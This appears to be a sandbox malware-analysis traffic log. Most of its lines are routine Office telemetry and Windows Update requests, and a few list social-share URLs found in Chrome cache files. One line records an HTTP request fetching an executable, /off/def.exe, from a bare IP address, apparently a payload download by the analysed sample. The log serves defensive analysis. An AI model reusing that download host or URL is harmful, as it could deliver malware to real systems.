Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uFnXMHOoobFnOmG&MD=HBDadzPT HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_87.7.dr, chromecache_99.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
